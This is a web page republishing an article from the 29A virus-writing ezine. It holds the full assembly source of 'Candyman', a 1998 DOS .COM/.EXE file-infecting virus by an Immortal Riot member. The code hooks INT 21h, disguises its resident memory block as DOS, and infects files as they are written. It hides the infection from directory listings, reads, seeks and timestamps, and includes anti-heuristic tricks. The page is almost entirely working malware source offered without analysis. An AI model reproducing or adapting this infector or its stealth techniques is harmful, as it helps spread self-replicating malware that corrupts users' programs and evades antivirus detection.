Copy Link
Add to Bookmark
Report

29A Issue 03 05 10

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;============================================================================
;
;
; NAME: Candyman v1.01
; TYPE: Full-mirror .COM & .EXE-infector.
; SIZE: 999 bytes.
; DATE: October - November 1998.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; PAYLOAD: Nope, it's completely harmless.
; CPU: 286+
;
;
; After coding tons of conventional virii I felt like making something more
; original, quickly was decided for a mirror-type virus since there are only
; two more of these ever written (Mirror & Total Trash). The main difference
; between these two and my Candyman is the fact that Candyman works 100%
; independant, ie. it doesn't need any SFT's (Mirror), nor it doesn't have to
; maintain it's own filetables (Total Trash), this doesn't have to mean that
; Candyman is more viable in the wild, but in general it's more compatible
; with all the different DOS'es around.
;
;
; CAPABILITIES:
;
; - Full-mirror (network compatible).
; - Uses UMBs if available.
;
;
; NOD-Ice seems to be the only program which jams with Candyman resident, who
; cares, the bloody AV causes goddamn parity-errors all the time at my comp!
;
;
; ... And don't fuck around with the mirror, coz he *WILL* come...
;
;============================================================================


.MODEL TINY
.STACK 512
.286
.CODE


Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 512 + 15) / 16
Residency_Check EQU 0CA01h
Marker_Mem EQU 1998h
Marker_File EQU 9691h
Min_Size_Infect EQU 560
Lady_Di EQU 0DEADh ; She took her name a bit TOO seriously, heh.


START:
CALL Get_Delta ; Get our position in memory.
Anti_Debugger DB 0EAh
Get_Delta: POP SI
SUB SI, (Anti_Debugger - Start)

PUSHA
PUSH ES ; Save our PSP-segment.

MOV AX, Residency_Check ; Request residency-status.
INT 21h

CMP AX, Marker_Mem ; It's there? then abort
JE Exec_Host ; further TSR-installation.

MOV AX, 5802h ; Get UMB link-status.
INT 21h

CBW ; Save status at the stack.
PUSH AX

MOV AX, 5803h ; Add UMBs to memory-chain.
PUSH AX
MOV BX, 01h
INT 21h

MOV AX, 5800h ; Get allocation-strategy.
INT 21h

PUSH AX ; Save strategy on stack.

MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; first fit, start with UMBs.
MOV BL, 80h
INT 21h

Try_Alloc_Mem: MOV AH, 48h ; Try to allocate the needed
MOV BX, Virus_Size_Mem ; memory.
INT 21h
JNC Copy_Virus_Up

MOV AH, 4Ah ; Get size of current block.
MOV BX, 0FFFFh
INT 21h

MOV AH, 4Ah ; Resize block.
SUB BX, Virus_Size_Mem + 1
INT 21h

JMP Try_Alloc_Mem ; Let's try again...

Copy_Virus_Up: MOV ES, AX ; Our allocated block.

DEC AX ; Get MCB of allocated block.
MOV DS, AX

XOR DI, DI

; Disguise our block.

MOV [DI.MCB_PSP], 08h ; Owner is DOS.
MOV [DI.MCB_Program], 'CS' ; System-code.

POP AX ; Restore allocation-
POP BX ; strategy (AX=5801h).
INT 21h

POP AX ; Restore UMB link-state,
POP BX ; (AX=5803h).
INT 21h

PUSH SI

MOV CX, Virus_Size ; Copy virus to allocated
CLD ; memory.
SEGCS
REP MOVSB

POP SI

PUSH ES
POP DS

MOV AX, 3521h ; Get address INT 21h.
INT 21h

MOV Int21h, BX ; Save address INT 21h.
MOV Int21h+2, ES

MOV AH, 25h ; Hook INT 21h.
MOV DX, OFFSET NewInt21h
INT 21h

Exec_Host: POP ES ; PSP of our host.
POPA

PUSH CS
POP DS

ADD SI, OFFSET Host_Bytes

CMP [SI.EXE_Mark], 'ZM' ; Determine host-type.
JE Exec_EXE

MOV DI, 100h ; Restore original bytes.
PUSH DI
MOV CX, (24 / 2)
CLD
REP MOVSW

XOR SI, SI
XOR DI, DI

RETN ; Pass control to .COM-host.


Exec_EXE: MOV DI, ES ; Get effective segment.
ADD DI, 10h

ADD [SI.Program_CS], DI ; Add effective segment.

ADD DI, [SI.Program_SS] ; Get original SS.

PUSH ES ; Restore DS.
POP DS

CLI ; Restore .EXE-stack.
MOV SS, DI
MOV SP, CS:[SI.Program_SP]
STI

XOR DI, DI

; Pass control to .EXE-host.

JMP DWORD PTR CS:[SI.Program_IP]


DB 'Speak my name 5 times in front of a mirror...'


; Returns CF set when handle in BX is not appropriate for infection.
Check_Handle_Inf:

MOV BP, SP ; Load BP with SP.

INC BP ; Adjust value, (coz we
INC BP ; CALLed this routine).

PUSH DS

PUSH CS
POP DS

MOV AX, 4201h ; Get current file-position
XOR CX, CX ; of handle in BX.
CWD
CALL OldInt21h

MOV File_Pos_Lo, AX ; Save original fileposition.
MOV File_Pos_Hi, DX

MOV AX, 4400h ; Get handle-info.
CALL OldInt21h

OR DL, DL ; Abort when it's not a file.
JS JNE_Bad_Handle

CALL Go_EOF ; Get filesize.

OR DX, DX ; It's bigger than 64k ?
JNZ Read_Header ; Yeah? that's OK.

CMP AX, Min_Size_Infect ; It's big enough?
JB JNE_Bad_Handle

Read_Header: CALL Go_BOF

PUSH CS
POP ES

MOV SI, OFFSET Header

MOV AH, 3Fh ; Read header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h

PUSH SI

MOV DI, OFFSET Host_Bytes ; Save original header.
CLD
REP MOVSB

POP SI

CMP [SI.Checksum], Marker_File ; Already infected?
JE Bad_Handle

CMP [SI.EXE_Mark], 'ZM' ; It's an .EXE-file?
JE Mirror_EXE

CMP [SI.Jump], 0E9h ; Most .COM-files start
JNE_Bad_Handle: JNE Bad_Handle ; with a 16-bit JMP.

Mirror_COM: OR DX, DX ; Can't be greater than 64k.
JNZ Bad_Handle

; .COM isn't too big?

CMP AX, (65535 - (Virus_Size + 1024))
JA Bad_Handle

SUB AX, 3 ; Calculate displacement.

MOV [SI.Displacement], AX ; Store displacement, the
; JMP is already present.
JMP Good_Handle

Mirror_EXE: MOV AX, [SI.Header_Size_Mem] ; Calculate headersize.
MOV CL, 16
MUL CX

PUSH CX

XCHG DI, AX

PUSH DX

CALL Go_EOF

POP CX ; CX:DI = headersize.

SUB AX, DI ; Calculate size of image.
SBB DX, CX

POP CX ; Calculate virus' new CS:IP.
DIV CX ; (CX = 16).

MOV [SI.Program_IP], DX ; Set new CS:IP of host.
MOV [SI.Program_CS], AX

INC AX ; Anti-heuristic.

; Set new SS:SP.

MOV [SI.Program_SS], AX
MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16

ADD [SI.Min_Size_Mem], Virus_Size_Mem

CALL Go_EOF

ADD AX, Virus_Size ; Calculate infected size.
ADC DX, CX

MOV CH, 512 SHR 8 ; Calculate 512-byte pages.
DIV CX

OR DX, DX ; Precise division?
JZ No_Round

INC AX ; Upround 512-byte pages.

No_Round: MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX

Good_Handle: MOV [SI.Checksum], Marker_File ; Mark file as infected.

CALL Restore_File_Pos

POP ES ; Caller's readbuffer.

XOR CX, CX
MOV DI, [BP.Reg_AX]

SUB AX, DI ; Position before read.
SBB DX, CX

CLC

RETN

Bad_Handle: CALL Restore_File_Pos

POP ES

STC

RETN


; Hmmm... a destructive payload would fit this topic better don't you think?

DB 'Candyman, Candyman, Candyman, Candyman, ...'


Restore_File_Pos:

MOV AX, 4200h
MOV CX, 00h
File_Pos_Hi = WORD PTR $-2
MOV DX, 00h
File_Pos_Lo = WORD PTR $-2
JMP OldInt21h


Go_BOF:
MOV AX, 4200h
JMP Set_Pos

Go_EOF: MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD

OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h

RETN


; I'm used to save the _whole_ header of the host, simply becoz most of my
; virii are all full-stealth... this should save the pigs some work also.

Host_Bytes DW 'ZM'
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW (Virus_Size_Mem * 16)
DW 0
DW OFFSET Carrier
DW 0


Author DB 'Written by T-2000 / Immortal Riot'


NewInt21h:

; ============= FIND FIRST/NEXT FCB =========================================

CMP AH, 11h ; Findfirst (FCB) ?
JB Check_4_Find_H

CMP AH, 12h ; Findnext (FCB) ?
JA Check_4_Find_H

Mirror_FCB: CALL OldInt21h

PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES

OR AL, AL ; Successful operation?
JNZ JNE_Exit_Mir_S

MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h

CMP ES:[BX.FCB_Drive], -1 ; It's an extended FCB ?
JNE No_Ext_FCB

ADD BX, 7 ; Then skip extended block.

No_Ext_FCB: LEA SI, [BX.FCB_Size] ; Set index-registers.
LEA DI, [BX.FCB_Name+8]
LEA BX, [BX.FCB_Time]

JMP Edit_DTA


; ============= FIND FIRST/NEXT HANDLE ======================================

Check_4_Find_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Check_4_Read

CMP AH, 4Fh ; Findnext (handle) ?
JA Check_4_Read

Mirror_Handle: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mir_Size

MOV AX, 2F00h + '.' ; Get DTA-address.
CALL OldInt21h

LEA DI, [BX.Handle_Name] ; Find extension-offset.
MOV CH, 0FFh
CLD
REPNE SCASB

LEA SI, [BX.Handle_Size] ; Set index-registers.
LEA BX, [BX.Handle_Time]

Edit_DTA: PUSH ES
POP DS

CWD ; DX = 00h.

MOV AL, DS:[BX] ; Get filetime.

AND AL, 00011111b ; Mask seconds.

CMP AL, (60 / 2) ; 60 seconds?
JE Exit_Mir_Size ; If so, abort mirror.

CMP DS:[SI+2], DX ; File is over 64k ?
JNZ Check_COM_Ext

CMP DS:[SI], Min_Size_Infect ; Large enough?
JB Exit_Mir_Size

Check_COM_Ext: CMP DS:[DI], 'OC' ; .COM-extension?
JNE Check_EXE_Ext

CMP BYTE PTR DS:[DI+2], 'M'
JNE_Exit_Mir_S: JNE Exit_Mir_Size

CMP [SI+2], DX ; .COM is bigger than 64k ?
JNZ Exit_Mir_Size

; .COM is not too big?

CMP [SI], (65535 - (Virus_Size + 1024))
JB Add_Size_Virus

Check_EXE_Ext: CMP DS:[DI], 'XE' ; .EXE-entension?
JNE Exit_Mir_Size

CMP BYTE PTR DS:[DI+2], 'E'
JNE Exit_Mir_Size

Add_Size_Virus: ADD DS:[SI], Virus_Size ; Add virussize.
ADC DS:[SI+2], DX

; Set infected timestamp.

AND BYTE PTR DS:[BX], 11100000b
OR BYTE PTR DS:[BX], (60 / 2)

Exit_Mir_Size: JMP Exit_Mirror_S


; ============= FILE READ ===================================================

Check_4_Read: CMP AH, 3Fh ; Read handle.
JNE Check_4_Seek

Mirror_Read: CALL OldInt21h ; Execute read.

PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_R ; Abort if error occurred.

CALL Check_Handle_Inf
JC Exit_Mirror_R

PUSH AX
PUSH DX

JNZ Read_Over_64k ; Read started in 1st 64k ?

CMP AX, 24 ; They are reading from the
JNB Read_Over_64k ; header?

; === Mirror the read header. ===

ADD DI, AX ; Calculate end of read.
JC Adjust_DI ; Overflow?

CMP DI, 24 ; They read to the end of
JB No_Adjust_DI ; the header?

Adjust_DI: MOV DI, 24 ; If so, adjust register.

No_Adjust_DI: MOV CX, DI ; Howmany bytes to mirror?
SUB CX, AX

MOV DI, [BP.Reg_DX]
ADD SI, AX
CLD ; Copy infected header into
REP MOVSB ; caller's buffer.

Read_Over_64k: POP DI ; DI:SI position before read.
POP SI

ADD SI, [BP.Reg_CX] ; DI:SI = position after
ADC DI, CX ; read.

CALL Go_EOF

; === Check if the read ends above the clean host. ===

CMP DI, DX ; Check high word.
JB Restore_Read
JA Mirror_Above

CMP SI, AX ; Check low word.
JNA Restore_Read

Mirror_Above: ADD AX, Virus_Size ; Calculate size of
ADC DX, CX ; mirrored host.

; Check if the read ends before the end
; of the virtual virusbody has reached.

CMP DI, CX ; Check high word.
JB No_Adjust
JA Do_Adjust

CMP SI, AX ; Check low word.
JNA No_Adjust

Do_Adjust: MOV SI, AX ; Read was over virusbody.
MOV DI, DX

No_Adjust: SUB AX, Virus_Size

PUSH AX

CALL Restore_File_Pos ; Restore position after
; the caller's read.
POP CX

MOV File_Pos_Lo, SI ; Save new file-position.
MOV File_Pos_Hi, DI

SUB SI, AX

SUB AX, CX

MOV CX, SI
XCHG SI, AX

MOV DI, [BP.Reg_DX]
ADD DI, [BP.Reg_AX]
ADD [BP.Reg_AX], CX
CLD ; Copy virusbody into
REP MOVSB ; caller's readbuffer.

Restore_Read: CALL Restore_File_Pos

Exit_Mirror_R: JMP Exit_Mirror_S


; ============= FILE SEEK ===================================================

Check_4_Seek: CMP AX, 4202h ; Seek EOF ?
JNE Check_4_Write

Mirror_Seek: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_S

CALL Check_Handle_Inf ; Handle appropriate for
JC Exit_Mirror_S ; infection?

MOV AX, 4201h ; Add the virussize to EOF.
MOV DX, Virus_Size
CALL OldInt21h

MOV [BP.Reg_AX], AX ; Set new values in stack.
MOV [BP.Reg_DX], DX

Exit_Mirror_S: POP ES
POP DS

JMP Exit_RETF2


; ============= FILE WRITE ==================================================

Check_4_Write: CMP AH, 40h ; Write file?
JNE Check_4_TDate

PUSHA
PUSH DS
PUSH ES

CALL Check_Handle_Inf
JC Abort_Routine

CALL Go_BOF

MOV AH, 40h ; Write the infected header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h
JC Restore_Pos

CALL Go_EOF

MOV AH, 40h ; Write the virusbody.
MOV CX, Virus_Size
CWD
CALL OldInt21h

Restore_Pos: CALL Restore_File_Pos

Exit_Mir_Write: POP ES
POP DS
POPA

CALL OldInt21h ; Do the write.
JC Do_RETF2

PUSHF
PUSHA

MOV AX, 5700h ; Get filedate & time.
CALL OldInt21h

MOV AX, 5701h ; Set infected timestamp.
AND CL, 11100000b
OR CL, (60 / 2)
CALL OldInt21h

Exit_RETF2: POPA
POPF

Do_RETF2: RETF 2


; ============= GET FILE DATE & TIME ========================================

Check_4_TDate: CMP AX, 5700h ; Get filedate & time?
JNE Check_4_Res

Mirror_F_Time: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Filetime

CALL Check_Handle_Inf ; Handle OK for infection?
JC Exit_Filetime

; Set infected timestamp in the stack.

AND BYTE PTR [BP.Reg_CX], 11100000b
OR BYTE PTR [BP.Reg_CX], (60 / 2)

Exit_Filetime: JMP Exit_Mirror_S


; ============= VIRUS RESIDENCY CHECK =======================================

Check_4_Res: CMP AX, Residency_Check ; "Are-you-there-bro?" call?
JNE JMP_Int21h

MOV AX, Marker_Mem ; Yeah dude, here I am.

IRET

Abort_Routine: POP ES
POP DS
POPA

JMP_Int21h: DB 0EAh ; JMP FAR opcode.

Virus_End:

Int21h DW 0, 0

Header DB 24 DUP(0)

Virus_End_Mem:



COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS


EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Offs_RelocTable DW 0
Overlay_Number DW 0
Undocumented DW 0
Unused DW 0
EXE_Header ENDS


FindFirstHandle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DW 0, 0
Handle_Name DW 6 DUP(0)
DB 0
FindFirstHandle ENDS


FindFirst_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DW 0, 0
FindFirst_FCB ENDS


Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_SP DW 0
Reg_BX DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS


MCB_Header STRUC
MCB_Type DB 0 ; M = not last block, Z = last block.
MCB_PSP DW 0 ; PSP-segment of this block.
MCB_Size_Mem DW 0 ; Size of block in paragraphs.
MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it.
MCB_Program DW 4 DUP(0) ; Filename of program of this block.
MCB_Header ENDS


Carrier:
PUSH CS
POP DS

MOV AH, 09h
MOV DX, OFFSET Carrier_Msg
INT 21h

MOV AX, 4C00h
INT 21h

Carrier_Msg DB 'File infected with Candyman virus!', 0Ah, 0Dh, '$'

END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT